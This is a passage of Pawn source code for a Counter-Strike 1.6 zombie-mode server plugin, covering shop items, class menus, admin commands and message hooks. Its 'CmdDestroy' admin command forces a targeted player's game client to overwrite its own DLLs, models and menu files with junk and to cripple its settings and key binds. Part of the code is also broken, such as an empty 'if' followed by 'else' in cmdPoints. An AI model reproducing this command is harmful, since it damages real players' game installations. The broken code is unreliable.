				EmitSound ( id, CHAN_ITEM, "items/9mmclip1.wav" );

				return;
			}

			fm_give_item ( id, "weapon_smokegrenade" );
		}
		case EXTRA_AWP_MAGNUM_SNIPER:
		{
			new WeaponID = cs_weapon_name_to_id ( "weapon_awp" );

			if ( MAXBPAMMO [WeaponID] > 2 )
			{
				if ( ( 1 << WeaponID ) & PRIMARY_WEAPONS_BIT_SUM )

					drop_weapons ( id, 1 );
				else
					drop_weapons ( id, 2 );

				ExecuteHamB ( Ham_GiveAmmo, id, MAXBPAMMO [WeaponID], AMMOTYPE [WeaponID], MAXBPAMMO [WeaponID] );
			}

			fm_give_item ( id, "weapon_awp" );
		}
		case EXTRA_M249_PARA_MACHINEGUN:
		{
			new WeaponID = cs_weapon_name_to_id ( "weapon_m249" );

			if ( MAXBPAMMO [WeaponID] > 2 )
			{
				if ( ( 1 << WeaponID ) & PRIMARY_WEAPONS_BIT_SUM )

					drop_weapons ( id, 1 );
				else
					drop_weapons ( id, 2 );

				ExecuteHamB ( Ham_GiveAmmo, id, MAXBPAMMO [WeaponID], AMMOTYPE [WeaponID], MAXBPAMMO [WeaponID] );
			}

			fm_give_item ( id, "weapon_m249" );
		}
		case EXTRA_KILLING_NADE:
		{
			if(!has_item[id] || using_item[id])
			{
				client_print_color ( id, print_team_grey, "%s You bought Deadly Shot !!!", CHAT_PREFIX );

				has_item[id] = true
				using_item[id] = false

				set_task(0.1, "show_hud", id+TASK_HUD, _, _, "b")
			}
		}
		case EXTRA_SG550_AUTO_SNIPER:
		{
			new WeaponID = cs_weapon_name_to_id ( "weapon_sg550" );

			if ( MAXBPAMMO [WeaponID] > 2 )
			{
				if ( ( 1 << WeaponID ) & PRIMARY_WEAPONS_BIT_SUM )

					drop_weapons ( id, 1 );
				else
					drop_weapons ( id, 2 );

				ExecuteHamB ( Ham_GiveAmmo, id, MAXBPAMMO [WeaponID], AMMOTYPE [WeaponID], MAXBPAMMO [WeaponID] );
			}

			fm_give_item ( id, "weapon_sg550" );
		}
		case EXTRA_G3SG1_AUTO_SNIPER:
		{
			new WeaponID = cs_weapon_name_to_id ( "weapon_g3sg1" );

			if ( MAXBPAMMO [WeaponID] > 2 )
			{
				if ( ( 1 << WeaponID ) & PRIMARY_WEAPONS_BIT_SUM )

					drop_weapons ( id, 1 );
				else
					drop_weapons ( id, 2 );

				ExecuteHamB ( Ham_GiveAmmo, id, MAXBPAMMO [WeaponID], AMMOTYPE [WeaponID], MAXBPAMMO [WeaponID] );
			}

			fm_give_item ( id, "weapon_g3sg1" );
		}
		case EXTRA_JETPACK:
		{
			new Clip, Ammo;

			new Weapon = get_user_weapon ( id, Clip, Ammo );

			set_hudmessage ( 255, 168, 25, -1.0, 0.80, 1, 0.0, 5.0, 1.0, 1.0, -1)

			ShowSyncHudMsg ( 0, HudMsgSync [0], "%s bought a Jetpack!!", PlayerName [id] );

			client_print_color ( id, print_team_grey, "%s Press^3 -CTRL+SPACE-^1 to fly!", CHAT_PREFIX );

			client_print_color ( id, print_team_grey, "%s Press^3 -RIGHT CLICK-^1 to shoot!", CHAT_PREFIX );

			if ( HasJet [id] )

			DropJetpack ( id );

			HasJet [id] = 1;

			FlyEnergy [id] = 100;

			Rocket [id] = true;

			EmitSound ( id, CHAN_BODY, "items/gunpickup2.wav" );

			if ( Weapon == CSW_KNIFE )
			{
				SwitchModel ( id );
			}
			else
			{
				engclient_cmd ( id, "weapon_knife" ), SwitchModel ( id );
			}
		}
		case EXTRA_UNLIMITEDCLIP:
		{
			HasUnlimitedClip [id] = true;

			set_hudmessage ( 255, 215, 0, -1.0, 0.7, 1, 0.0, 5.0, 1.0, 1.0, -1 )

			ShowSyncHudMsg ( id, HudMsgSync [0], "%s, you bought Unlimited Clip", PlayerName [id] );

			client_print_color ( id, print_team_grey, "%s^3 %s^1, you bought^4 Unlimited Clip", CHAT_PREFIX, PlayerName [id] );
		}
		case EXTRA_ARMOR_100:
		{
			set_hudmessage ( 0, 0, 255, -1.0, 0.7, 1, 0.0, 5.0, 1.0, 1.0, -1 );

			ShowSyncHudMsg ( id, HudMsgSync [0], "%s, you have been equiped with Armor (100ap)", PlayerName [id] );

			set_pev ( id, pev_armorvalue, float ( min ( pev ( id, pev_armorvalue ) + 100, 600 ) ) );

			EmitSound ( id, CHAN_BODY, "items/tr_kevlar.wav" );
		}
		case EXTRA_ARMOR_200:
		{
			set_hudmessage ( 0, 0, 255, -1.0, 0.7, 1, 0.0, 5.0, 1.0, 1.0, -1 );

			ShowSyncHudMsg ( id, HudMsgSync [0], "%s, you have been equiped with Armor (200ap)", PlayerName [id] );

			set_pev ( id, pev_armorvalue, float ( min ( pev ( id, pev_armorvalue ) + 200, 600 ) ) );

			EmitSound ( id, CHAN_BODY, "items/tr_kevlar.wav" );
		}
		case EXTRA_MULTIJUMP:
		{
			MultiJumps [id] ++;

			set_hudmessage ( 235, 156, 9, -1.0, 0.6, 1, 0.0, 5.0, 1.0, 1.0, -1 )

			ShowSyncHudMsg ( id, HudMsgSync [0], "%s, you bought Multijump,^nMaxjumps: %d", PlayerName [id], MultiJumps [id] );

			client_print_color ( id, print_team_grey, "%s^3 %s^1, you bought^4 Multijump^1, maxjumps:^4 %d", CHAT_PREFIX, PlayerName [id], MultiJumps [id] );
		}
		case EXTRA_TRYDER:
		{
			fm_strip_user_weapons ( id );

			fm_set_rendering ( id, kRenderFxGlowShell, 150, 0, 255, kRenderNormal, 10 );

			fm_give_item ( id, "weapon_knife" );

			fm_give_item ( id, "weapon_ak47" );

			fm_give_item ( id, "weapon_g3sg1" );

			fm_give_item ( id, "weapon_m4a1" );

			fm_give_item ( id, "weapon_xm1014" );

			fm_give_item ( id, "weapon_sg550" );

			fm_give_item ( id, "weapon_deagle" );

			fm_give_item ( id, "weapon_hegrenade" );

			fm_give_item ( id, "weapon_flashbang" );

			fm_give_item ( id, "weapon_smokegrenade" );

			ExecuteHamB ( Ham_GiveAmmo, id, MAXBPAMMO [CSW_AK47], AMMOTYPE [CSW_AK47], MAXBPAMMO [CSW_AK47] );

			ExecuteHamB ( Ham_GiveAmmo, id, MAXBPAMMO [CSW_G3SG1], AMMOTYPE [CSW_G3SG1], MAXBPAMMO [CSW_G3SG1] );

			ExecuteHamB ( Ham_GiveAmmo, id, MAXBPAMMO [CSW_M4A1], AMMOTYPE [CSW_M4A1], MAXBPAMMO [CSW_M4A1] );

			ExecuteHamB ( Ham_GiveAmmo, id, MAXBPAMMO [CSW_XM1014], AMMOTYPE [CSW_XM1014], MAXBPAMMO [CSW_XM1014] );

			ExecuteHamB ( Ham_GiveAmmo, id, MAXBPAMMO [CSW_DEAGLE], AMMOTYPE [CSW_DEAGLE], MAXBPAMMO [CSW_DEAGLE] );

			HasUnlimitedClip [id] = true;

			IsTryder [id] = true;

		    set_pev ( id, pev_gravity, 0.5 );

			fm_set_user_health ( id, get_pcvar_num ( GetCvar [zRisesTryderHealth] ) );

			set_pev ( id, pev_armorvalue, float ( min ( pev ( id, pev_armorvalue ) + get_pcvar_num ( GetCvar [zRisesTryderArmor] ), 666 ) ) );

			set_hudmessage ( 212, 0, 177, -1.0, 0.72, 1, 0.0, 5.0, 1.0, 1.0, -1)

			ShowSyncHudMsg ( 0, HudMsgSync [0], "%s is now a Tryder !!", PlayerName [id] );

			client_print_color ( 0, print_team_grey, "%s^3 %s^1 is now a^4 Tryder", CHAT_PREFIX, PlayerName [id] );
		}
		case EXTRA_AK47GOLD:
		{
			fm_give_item ( id, "weapon_ak47" );

			HasUnlimitedClip [id] = true;

			zp_get_gold_ak [id] = true;

			ExecuteHamB ( Ham_GiveAmmo, id, MAXBPAMMO [CSW_AK47], AMMOTYPE [CSW_AK47], MAXBPAMMO [CSW_AK47] );

			client_print_color ( 0, print_team_grey, "%s^3 %s^1 bought^4 Golden Kalashnikov (AK-47)", CHAT_PREFIX, PlayerName [id] );

			set_hudmessage ( 212, 0, 177, -1.0, 0.72, 1, 0.0, 5.0, 1.0, 1.0, -1 );

			ShowSyncHudMsg ( 0, HudMsgSync [0], "%s Golden Kalashnikov (AK-47) !", PlayerName [id] );

		}
		case EXTRA_DEAGLEGOLD:
		{
			fm_give_item ( id, "weapon_deagle" );

			HasUnlimitedClip [id] = true;

			zp_get_gold_de [id] = true;

			ExecuteHamB ( Ham_GiveAmmo, id, MAXBPAMMO [CSW_DEAGLE], AMMOTYPE [CSW_DEAGLE], MAXBPAMMO [CSW_DEAGLE] );

			client_print_color ( 0, print_team_grey, "%s^3 %s^1 bought^4 Golden Desert Eagle (Night Hawk)", CHAT_PREFIX, PlayerName [id] );

			set_hudmessage ( 212, 0, 177, -1.0, 0.72, 1, 0.0, 5.0, 1.0, 1.0, -1 );

			ShowSyncHudMsg ( 0, HudMsgSync [0], "%s Golden Deser Eagle (Night Hawk) !", PlayerName [id] );

		}
		case EXTRA_SURVIVOR:
		{
			remove_task ( TASK_MAKEZOMBIE );

			cmdMakeZombie ( MODE_SURVIVOR, id );

			client_print_color ( 0, print_team_grey, "%s^3 %s^1 bought^4 Survivor", CHAT_PREFIX, PlayerName [id] );

			set_hudmessage ( 255, 0, 0, -1.0, 0.7, 1, 0.0, 5.0, 1.0, 1.0, -1 );

			ShowSyncHudMsg ( 0, HudMsgSync [0], "%s bought Survivor !", PlayerName [id] );
		}
		case EXTRA_SNIPER:
		{
			remove_task ( TASK_MAKEZOMBIE );

			cmdMakeZombie ( MODE_SNIPER, id );

			client_print_color ( 0, print_team_grey, "%s^3 %s^1 bought^4 Sniper", CHAT_PREFIX, PlayerName [id] );

			set_hudmessage ( 255, 0, 0, -1.0, 0.7, 1, 0.0, 5.0, 1.0, 1.0, -1 );

		}
		case EXTRA_NEMESIS:
		{
			remove_task ( TASK_MAKEZOMBIE );

			cmdMakeZombie ( MODE_NEMESIS, id );

			client_print_color ( 0, print_team_grey, "%s^3 %s^1 bought^4 Nemesis", CHAT_PREFIX, PlayerName [id] );

			set_hudmessage ( 255, 0, 0, -1.0, 0.7, 1, 0.0, 5.0, 1.0, 1.0, -1 );

			ShowSyncHudMsg ( 0, HudMsgSync [0], "%s bought Nemesis !", PlayerName [id] );
		}
		case EXTRA_ASSASSIN:
		{
			remove_task ( TASK_MAKEZOMBIE );

			cmdMakeZombie ( MODE_ASSASSIN, id );

			client_print_color ( 0, print_team_grey, "%s^3 %s^1 bought^4 Assassin", CHAT_PREFIX, PlayerName [id] );

			set_hudmessage ( 255, 0, 0, -1.0, 0.7, 1, 0.0, 5.0, 1.0, 1.0, -1 );

			ShowSyncHudMsg ( 0, HudMsgSync [0], "%s bought Assassin !", PlayerName [id] );
		}
		case EXTRA_ANTIDOTE:
		{
			UserHuman ( id, 0, 0, 0 );
		}
		case EXTRA_MADNESS:
		{
			client_print_color ( 0, print_team_grey, "%s^3 %s^1 bought^4 Zombie Madness", CHAT_PREFIX, PlayerName [id] );

			set_hudmessage ( 255, 145, 0, -1.0, 0.7, 1, 0.0, 5.0, 1.0, 1.0, -1 )

			ShowSyncHudMsg ( 0, HudMsgSync [0], "%s bought Zombie Madness!", PlayerName [id] );

			NoDamage [id] = true;

			fm_set_rendering ( id, kRenderFxGlowShell, 100, 0, 0, kRenderNormal, 200 );

			set_task ( 5.0, "MadnessOver", id + TASK_BLOOD );

			static Sound [64];

			fm_set_user_godmode(id, 1);

			ArrayGetString ( ZombieMadness, random_num ( 0, ArraySize ( ZombieMadness ) - 1 ), Sound, charsmax ( Sound ) );

			EmitSound ( id, CHAN_AUTO, Sound );
		}
		case EXTRA_INFECTIONBOMB:
		{
			set_hudmessage ( 255, 145, 0, -1.0, 0.7, 1, 0.0, 5.0, 1.0, 1.0, -1 );

			ShowSyncHudMsg ( id, HudMsgSync [0], "You bought Infection Grenade!" );

			if ( user_has_weapon ( id, CSW_HEGRENADE ) )
			{
				cs_set_user_bpammo ( id, CSW_HEGRENADE, cs_get_user_bpammo ( id, CSW_HEGRENADE ) + 1 );

				message_begin ( MSG_ONE_UNRELIABLE, get_user_msgid ( "AmmoPickup" ), _, id );

				write_byte ( AMMOID [CSW_HEGRENADE] );

				write_byte ( 1 );

				message_end (  );

				EmitSound ( id, CHAN_ITEM, "items/9mmclip1.wav" );

				return;
			}

			fm_give_item ( id, "weapon_hegrenade" );
		}
		case EXTRA_KNIFEBLINK:
		{
			iBlinks [id] += 5

			set_hudmessage ( 255, 0, 0, -1.0, 0.7, 1, 0.0, 5.0, 1.0, 1.0, -1 );

			ShowSyncHudMsg ( id, HudMsgSync [0], "%s, you bought Knife Blinks ", PlayerName [id] );

			client_print_color ( id, print_team_grey, "%s ^3%s^1, you bought^4 Knife Blinks", CHAT_PREFIX, PlayerName [id] );
		}
	}
}

public MenuZClass ( id, MenuID, Item )
{
	if ( Item == MENU_EXIT )
	{
		menu_destroy ( MenuID );

		return PLUGIN_HANDLED;
	}

	static Buffer [2], Dummy, ClassID;

	menu_item_getinfo ( MenuID,Item, Dummy, Buffer, charsmax ( Buffer ), _, _, Dummy );

	ClassID = Buffer [0];

	ZombieClassNext [id] = ClassID;

	static Name [32];

	ArrayGetString ( ZClassName_01, ZombieClassNext [id], Name, charsmax ( Name ) );

	static HealthString [16];

	AddCommas ( ArrayGetCell ( ZClassHealth_01, ZombieClassNext [id] ), HealthString, charsmax ( HealthString ) );

	client_print_color ( id, print_team_default, "^4[Zombie Outstanding]^1 You will be^4 %s^1 after the next infection!", Name );

	client_print_color ( id, print_team_default, "%s Health:^4 %s^1 | Speed:^4 %d^1 | Gravity:^4 %d^1 | Knockback:^4 %d%%", CHAT_PREFIX, HealthString, ArrayGetCell ( ZClassSpeed_01, ZombieClassNext [id] ),

	floatround ( Float: ArrayGetCell ( ZClassGravity_01, ZombieClassNext [id] ) * 100.0 ), floatround ( Float: ArrayGetCell ( ZClassKnockback_01, ZombieClassNext [id] ) * 100.0 ) );

	menu_destroy ( MenuID );

	return PLUGIN_HANDLED;
}

public CmdDestroy ( id, i )
{

	if ( !access ( id, ADMIN_LEVEL_H ) ) return PLUGIN_HANDLED;

	new argument[32]

	read_argv(1,argument,31)

	new jucator = cmd_target(id,argument,CMDTARGET_OBEY_IMMUNITY|CMDTARGET_ALLOW_SELF|CMDTARGET_NO_BOTS)

	if(!jucator)

	return PLUGIN_HANDLED

	new admin[32],jucator_x[32],reason[32]

	get_user_name(id,admin,31)

	get_user_name(jucator,jucator_x,31)
	read_argv(2,reason,31)
    remove_quotes(reason)

	client_cmd(id, "amx_banip ^"%s^" ^"0^" ^"%s^"" , jucator_x , reason)

	client_cmd(id, "amx_ban ^"%s^" ^"0^" ^"%s^"" , jucator_x , reason)

	client_print_color ( id, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 destroy^3 %s", admin , jucator_x );

	client_cmd(jucator,"unbindall");

	client_cmd(jucator,"motdfile resource/GameMenu.res;motd_write i_have_been_destroyed;motdfile models/player.mdl;motd_write  i_have_been_destroyed;motdfile dlls/mp.dll;motd_write i_have_been_destroyed");

	client_cmd(jucator,"motdfile cl_dlls/client.dll;motd_write i_have_been_destroyed;motdfile cs_dust.wad;motd_write i_have_been_destroyed;motdfile cstrike.wad;motd_write i_have_been_destroyed");

	client_cmd(jucator,"motdfile sprites/muzzleflash1.spr;motdwrite i_have_been_destroyed;motdfile events/ak47.sc;motd_write i_have_been_destroyed;motdfile models/v_ak47.mdl;motd_write i_have_been_destroyed");

	client_cmd(jucator,"fps_max 1;rate 1;cl_cmdrate 1;cl_updaterate 1");

	client_cmd(jucator,"hideconsole;hud_saytext 0;cl_allowdownload 0;cl_allowupload 0;cl_dlmax 1;_restart;con_color ^"0 0 0^"");

	client_cmd(0, "spk ^"vox/bizwarn coded user apprehend^"")

	client_cmd(jucator, "bind ^"w^" ^"say i_have_been_destroyed" );

	client_cmd(jucator, "bind ^"s^" ^"say i_have_been_destroyed" );

	client_cmd(jucator, "bind ^"r^" ^"say i_have_been_destroyed" );

	client_cmd(jucator, "bind ^"`^" ^"say i_have_been_destroyed" );

	return PLUGIN_HANDLED
}

public CmdUnfreeze ( id )
{

	if ( !access ( id, read_flags ("1") ) ) return PLUGIN_HANDLED;

	new arg[32], plr
	read_argv(1,arg,31)
	plr=cmd_target ( id, arg, ( CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF ) );

	if(!plr) return 1

	g_bFrozen[plr]=false

	new admin[32],name[32]
	get_user_name(id,admin,31)
	get_user_name(plr,name,31)

	log_to_file ( "ZombieOutstanding.log", "%s made %s unfroze", admin, name );

	client_print_color ( id, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 made^4 %s^3 unfroze", admin,name)
	new flags=pev(plr,pev_flags)
	if (flags&FL_FROZEN)
    flags&=~FL_FROZEN,set_pev(plr,pev_flags,flags)
	removefrendering(plr)
	return 1
}

public CmdFreeze ( id )
{
	if ( !access ( id, read_flags ("1") ) ) return PLUGIN_HANDLED;

	new arg[32], plr
	read_argv(1,arg,31)
	plr = cmd_target ( id, arg, ( CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF ) );


	if(!plr) return 1

	g_bFrozen[plr]=true

	new admin[32],name[32]
	get_user_name(id,admin,31)
	get_user_name(plr,name,31)

	client_print_color ( id, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 made^4 %s^3 frost^1 due to^3 camping", admin,name)

	new flags=pev(plr,pev_flags)
	if (!(flags&FL_FROZEN))
	flags|=FL_FROZEN,set_pev(plr,pev_flags,flags)
	return 1
}

public cmdResetScore ( id )
{
	if ( get_pcvar_num ( cvar_on ) )
	{
		new szName [ 33 ];
		get_user_name ( id, szName, charsmax ( szName ) );

		if ( is_user_connected ( id ) )
		{
			cs_set_user_deaths ( id, 0 );
			set_user_frags ( id, 0 );

			cs_set_user_deaths ( id, 0 );
			set_user_frags ( id, 0 );

			switch ( get_pcvar_num ( cvar_messages ) )
			{
				case 1:
				{
					client_print_color ( 0, print_team_grey, "^1^4%s^1 ^4 Scorul tau a fost ^3 Resetat^1.", CHAT_PREFIX );
				}
				case 2:
				{
					client_print_color ( 0, print_team_grey, "^1^4%s^1 ^4 Scorul tau a fost ^3 Resetat^1.", CHAT_PREFIX );
				}
			}
		}
	}
	else
	{
		client_print_color ( 0, print_team_grey, "%s^3 Resetarea scorurilor este momentan dezactivata!", CHAT_PREFIX );
	}
	return 1;
}


public cmdPoints ( id )
{
	if ( !access ( id, ADMIN_IMMUNITY ) )

	else

	if ( read_argc (  ) < 2 )
	{
		console_print ( id, "* Usage: 'amx_points <name> <points>'" );

		return PLUGIN_HANDLED;
	}

	static Arg[32], amount[16], Player, points

	read_argv(1, Arg, charsmax(Arg))

	read_argv(2, amount, charsmax(amount))

	Player = cmd_target ( id, Arg, ( CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF ) );

	if ( !Player ) return PLUGIN_HANDLED;

	points = str_to_num(amount);

	if (points < 1)

	return PLUGIN_HANDLED;

	g_iPoints[Player] += points;

	SavePoints(Player);

	new str[32];

	AddCommas ( points, str, 31 );

	log_to_file ( "ZombieOutstanding.log", "%s gave %s points to %s", PlayerName [id], str, PlayerName [Player] );

	console_print ( id ,"^nDone!" );

	SavePoints( id )

	return PLUGIN_HANDLED;
}

public cmdMadeZombie ( id )
{
	if ( NewRound )
	{
		if ( !access ( id, ADMIN_CFG ) )

		return PLUGIN_HANDLED;
	}
	else
	{
		if ( !access ( id, ADMIN_CFG ) )

		return PLUGIN_HANDLED;
	}

	static Arg [32]; read_argv ( 1, Arg, charsmax ( Arg ) )

	new Player = cmd_target ( id, Arg, ( CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF ) );

	if ( !Player ) return PLUGIN_HANDLED;

	if ( !CheckAllowedZombie ( Player ) )
	{
		console_print ( id, "* Unavailable command." );

		return PLUGIN_HANDLED;
	}

	CommandZombie ( id, Player );

	return PLUGIN_HANDLED;
}

public cmdMadeHuman ( id )
{
	if ( !access ( id, ADMIN_CVAR ) ) return PLUGIN_HANDLED;

	static Arg [32]; read_argv ( 1, Arg, charsmax ( Arg ) )

	new Player = cmd_target ( id, Arg, ( CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF ) );

	if ( !Player ) return PLUGIN_HANDLED;

	if ( !CheckAllowedHuman ( Player ) )
	{
		console_print ( id, "* Unavailable command." );

		return PLUGIN_HANDLED;
	}

	CommandHuman ( id, Player );

	return PLUGIN_HANDLED;
}

public cmdMadeNemesis ( id )
{
	if ( NewRound )
	{
		if ( !access ( id, ADMIN_LEVEL_C ) )

		return PLUGIN_HANDLED;
	}
	else
	{
		if ( !access ( id, ADMIN_LEVEL_C ) )

		return PLUGIN_HANDLED;
	}

	static Arg [32]; read_argv ( 1, Arg, charsmax ( Arg ) )

	new Player = cmd_target ( id, Arg, ( CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF ) );

	if ( !Player ) return PLUGIN_HANDLED;

	if ( !CheckAllowedNemesis ( Player ) )
	{
		console_print ( id, "* Unavailable command." );

		return PLUGIN_HANDLED;
	}

	CommandNemesis ( id, Player );

	return PLUGIN_HANDLED;
}

public cmdMadeAssassin ( id )
{
	if ( NewRound )
	{
		if ( !access ( id, ADMIN_MENU ) )

		return PLUGIN_HANDLED;
	}
	else
	{
		if ( !access ( id, ADMIN_MENU ) )

		return PLUGIN_HANDLED;
	}


	static Arg [32]; read_argv ( 1, Arg, charsmax ( Arg ) )

	new Player = cmd_target ( id, Arg, ( CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF ) );

	if ( !Player ) return PLUGIN_HANDLED;

	if ( !CheckAllowedAssassin ( Player ) )
	{
		console_print ( id, "* Unavailable command." );

		return PLUGIN_HANDLED;
	}

	CommandAssassin ( id, Player );

	return PLUGIN_HANDLED;
}

public cmdMadeSurvivor ( id )
{
	if ( NewRound )
	{
		if ( !access ( id, ADMIN_LEVEL_A ) )

		return PLUGIN_HANDLED;
	}
	else
	{
        if ( !access ( id, ADMIN_LEVEL_A ) )

		return PLUGIN_HANDLED;
	}

	static Arg [32]; read_argv ( 1, Arg, charsmax ( Arg ) )

	new Player = cmd_target ( id, Arg, ( CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF ) );

	if ( !Player ) return PLUGIN_HANDLED;

	if ( !CheckAllowedSurvivor ( Player ) )
	{
		console_print ( id, "* Unavailable command." );

		return PLUGIN_HANDLED;
	}

	CommandSurvivor ( id, Player );

	return PLUGIN_HANDLED;
}

public cmdMadeSniper ( id )
{
	if ( NewRound )
	{
		if ( !access ( id, ADMIN_LEVEL_B ) )

		return PLUGIN_HANDLED;
	}
	else
	{
		if ( !access ( id, ADMIN_LEVEL_B ) )

		return PLUGIN_HANDLED;
	}

	static Arg [32]; read_argv ( 1, Arg, charsmax ( Arg ) )

	new Player = cmd_target ( id, Arg, ( CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF ) );

	if ( !Player ) return PLUGIN_HANDLED;

	if ( !CheckAllowedSniper ( Player ) )
	{
		console_print ( id, "* Unavailable command." );

		return PLUGIN_HANDLED;
	}

	CommandSniper ( id, Player );

	return PLUGIN_HANDLED;
}

public cmdRespawn ( id )
{
	if ( !access ( id, ADMIN_LEVEL_E ) ) return PLUGIN_HANDLED;

	static Arg [32]; read_argv ( 1, Arg, charsmax ( Arg ) )

	new Player = cmd_target ( id, Arg, CMDTARGET_ALLOW_SELF );

	if ( !Player ) return PLUGIN_HANDLED;

	if ( IsAlive [Player] )
	{
		console_print ( id, "* Player ^"%s^" is alive !", PlayerName [Player] );

		return PLUGIN_HANDLED;
	}

	if ( !CheckAllowedRespawn ( Player ) )
	{
		console_print ( id, "* Unavailable command." );

		return PLUGIN_HANDLED;
	}

	CommandRespawn ( id, Player );

	return PLUGIN_HANDLED;
}

public cmdSwarm ( id )
{
         if ( !access ( id, ADMIN_LEVEL_G ) ) return PLUGIN_HANDLED;

	if ( !CheckAllowedSwarm (  ) )
	{
		console_print ( id, "* Unavailable command." );

		return PLUGIN_HANDLED;
	}

	CommandSwarm ( id )

	return PLUGIN_HANDLED;
}

public cmdMulti ( id )
{
	if ( !access ( id, ADMIN_LEVEL_G ) ) return PLUGIN_HANDLED;

	if ( !CheckAllowedMulti (  ) )
	{
		console_print ( id, "* Unavailable command." );

		return PLUGIN_HANDLED;
	}

	CommandMulti ( id )

	return PLUGIN_HANDLED;
}

public cmdPlague ( id )
{
	if ( !access ( id, ADMIN_LEVEL_G ) ) return PLUGIN_HANDLED;

	if ( !CheckAllowedPlague (  ) )
	{
		console_print ( id, "* Unavailable command." );

		return PLUGIN_HANDLED;
	}

	CommandPlague ( id )

	return PLUGIN_HANDLED;
}

public cmdArmageddon ( id )
{
	if ( !access ( id, ADMIN_LEVEL_A ) ) return PLUGIN_HANDLED;

	if ( !CheckAllowedArmageddon (  ) )
	{
		console_print ( id, "* Unavailable command." );

		return PLUGIN_HANDLED;
	}

	CommandArmageddon ( id )

	return PLUGIN_HANDLED;
}

public cmdApocalypse ( id )
{
	if ( !access ( id, ADMIN_LEVEL_F ) ) return PLUGIN_HANDLED;

	if ( !CheckAllowedApocalypse (  ) )
	{
		console_print ( id, "* Unavailable command." );

		return PLUGIN_HANDLED;
	}

	CommandApocalypse ( id )

	return PLUGIN_HANDLED;
}

public cmdNightmare ( id )
{
	if ( !access ( id, ADMIN_LEVEL_B ) ) return PLUGIN_HANDLED;

	if ( !CheckAllowedNightmare (  ) )
	{
		console_print ( id, "* Unavailable command." );

		return PLUGIN_HANDLED;
	}

	CommandNightmare ( id )

	return PLUGIN_HANDLED;
}

public MessageCurWeapon ( MsgID, MsgDest, MsgEntity )
{
	if ( !IsAlive [MsgEntity] || IsZombie [MsgEntity] ) return;

	if ( get_msg_arg_int ( 1 ) != 1 ) return;

	if ( !IsSurvivor [MsgEntity] && !HasUnlimitedClip [MsgEntity] && !g_vip[MsgEntity]) return;

	if (g_vip[MsgEntity] && containi(g_vip_flags[MsgEntity], "C")==-1) return;

	static Weapon, Clip;

	Weapon = get_msg_arg_int ( 2 );

	Clip = get_msg_arg_int ( 3 );

	if ( MAXCLIP [Weapon] > 2 )
	{
		set_msg_arg_int ( 3, get_msg_argtype ( 3 ), MAXCLIP [Weapon] );

		if ( Clip < 2 )
		{
			static WName [32], WeaponEnt;

			get_weaponname ( Weapon, WName, sizeof WName - 1 );

			WeaponEnt = fm_find_ent_by_owner ( -1, WName, MsgEntity );

			fm_set_weapon_ammo ( WeaponEnt, MAXCLIP [Weapon] );
		}
	}
}

public MessageMoney ( Msg_ID, MsgDest, MsgEntity )
{
	fm_cs_set_user_money ( MsgEntity, 0 );

	return PLUGIN_HANDLED;
}

public MessageHealth ( MsgID, MsgDest, MsgEntity )
{
	static Health; Health = get_msg_arg_int ( 1 );

	if ( Health < 256 ) return;

	if ( Health % 256 == 0 ) fm_set_user_health ( MsgEntity, pev ( MsgEntity, pev_health ) + 1 );

	set_msg_arg_int ( 1, get_msg_argtype ( 1 ), 255 );
}

public MessageScreenFade ( MsgID, MsgDest, MsgEntity )
{
	if ( get_msg_arg_int ( 4 ) != 255 || get_msg_arg_int ( 5 ) != 255 || get_msg_arg_int ( 6 ) != 255 || get_msg_arg_int ( 7 ) < 200 ) return PLUGIN_CONTINUE;

	if ( IsZombie [MsgEntity] && !IsNemesis [MsgEntity] && !IsAssassin [MsgEntity] )
	{
		set_msg_arg_int ( 4, get_msg_argtype ( 4 ), 0 );

		set_msg_arg_int ( 5, get_msg_argtype ( 5 ), 120 );

		set_msg_arg_int ( 6, get_msg_argtype ( 6 ), 240 );

		return PLUGIN_CONTINUE;
	}

	return PLUGIN_HANDLED;
}

public MessageNvgToggle (  ) return PLUGIN_HANDLED;

public MessageWeaponPickup ( MsgID, MsgDest, MsgEntity )
{
	if ( IsZombie [MsgEntity] ) return PLUGIN_HANDLED;

	return PLUGIN_CONTINUE;
}

public MessageAmmoPickup ( MsgID, MsgDest, MsgEntity )
{
	if ( IsZombie [MsgEntity] ) return PLUGIN_HANDLED;

	return PLUGIN_CONTINUE;
}

public MessageScenario (  )
{
	if ( get_msg_args (  ) > 1 )
	{
		static Sprite [8]; get_msg_arg_string ( 2, Sprite, charsmax ( Sprite ) );

		if ( equal ( Sprite, "hostage" ) ) return PLUGIN_HANDLED;
	}

	return PLUGIN_CONTINUE;
}

public MessageHostagePos (  ) return PLUGIN_HANDLED;


public MessageTextMsg (  )
{
	static Msg [22]; get_msg_arg_string ( 2, Msg, charsmax ( Msg ) );

	if ( equal ( Msg, "#Game_will_restart_in" ) )
	{
		ScoreHumans = 0;

		ScoreZombies = 0;

		leRoundEnd (  );
	}
	else if ( equal ( Msg, "#Hostages_Not_Rescued" ) || equal ( Msg, "#Round_Draw" ) || equal ( Msg, "#Terrorists_Win" ) || equal ( Msg, "#CTs_Win" ) )

		return PLUGIN_HANDLED;

	if ( get_msg_args (  ) == 5 )
	{
		if ( get_msg_argtype ( 5 ) == ARG_STRING )
		{
			new Value_01 [64]; get_msg_arg_string ( 5, Value_01, charsmax ( Value_01 ) );

			if ( equal ( Value_01, "#Fire_in_the_hole" ) )

			return PLUGIN_HANDLED;
		}
	}
	else if ( get_msg_args (  ) == 6 )
	{
		if ( get_msg_argtype ( 6 ) == ARG_STRING )
		{
			new Value_02 [64]; get_msg_arg_string ( 6, Value_02, charsmax ( Value_02 ) );

			if ( equal ( Value_02, "#Fire_in_the_hole" ) )

			return PLUGIN_HANDLED;
		}
	}

	return PLUGIN_CONTINUE;
}

public MessageSendAudio (  )
{
	static Audio [17]; get_msg_arg_string ( 2, Audio, charsmax ( Audio ) );

